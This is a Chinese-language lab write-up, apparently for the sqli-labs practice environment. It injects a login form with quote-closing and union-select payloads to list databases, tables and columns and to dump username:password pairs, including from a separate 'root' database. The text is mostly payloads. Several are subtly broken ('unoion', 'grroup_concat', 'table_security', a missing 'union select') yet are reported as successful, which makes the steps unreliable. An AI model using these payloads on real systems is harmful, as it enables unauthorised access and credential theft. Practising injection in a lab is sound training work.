知识点:
- 发现登录框就可以尝试注入
- 登录框一般都是字符型注入
- 通过注入可以获取其他表的信息
- 绕过手段
- 单引号闭合+联合注入
- 也可以进行错误注入
首先看界面是一个登录框;通过admin admin登录进去,发现页面会把用户名和密码的登录信息打印出来;通过bp抓包进行测试是不是存在注入点
开始测试
构造payload:username=a'+or+1=1#
页面成功回显除了第一个用户名和密码;说明这里存在字符型注入;通过单引号闭合进行绕过
既然页面有回显可以尝试进行联合注入(尝试先用3个字段,前几关的经验)
构造payload:username=a'+unoion+select+1,2,3#
提示字段数不对,根据页面返回情况猜测是两个字段
构造payload:username=a'+union+select+1,2#
页面成功回显除了输入的信息;说明注入成功;下面可以进行数据库敏感信息的获取了
联合注入成功,获取数据库名
构造payload:username=a'+union+select+1,database()#
成功获取了数据库名
接下来获取数据库下的表名
构造payload:username=a'+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'#
成功获取了security下的表名;
接下来获取users表中的所有字段名;
构造payload:username=a'+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'#
成功获取了相关的字段;发现里面有用户名和密码
接下来获取相关的数据信息(用户名和密码)
构造payload:username=a'+union+select+1,group_concat(username,':',password)+from+users#
这里直接用users表名了;因为当前默认使用的数据库是security;所有加不加都可以;如果不知道的情况下最好加上;如security.users
成功获取了用户的敏感信息
到这里其实就完成了;不需要在进行其他操作了但是我想测一下是不是能够读取其他数据库的信息
番外
接着进行操作;获取所有数据库名
构造payload:username=a'+group_concat(schema_name)+from+information_schema.schemata#
成功获取了所有的数据库信息;发现了一个root数据库
尝试获取root数据库的表名
构造payload:username=a'+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_security='root'#
成功获取了所有的表名;发现有一个用户表
尝试读取users表的字段信息
构造payload:username=a'+union+select+1,group_concat(column_name)+from+information_schema.tables+where+table_schema='root'+and+table_name='users'#
成功获取users表中的字段信息
发现存在用户名和密码的字段
接下来对用户名和密码进行读取
构造payload:username=a'+union+select+1,grroup_concat(user,':',password)+from+root.users#
这里就要指定数据库了,因为默认是security数据库;通过指定root.users
成功获取了root表中的所有用户信息;可以看出密码进行加密了
到这里就真的结束了,真实畅快啊
10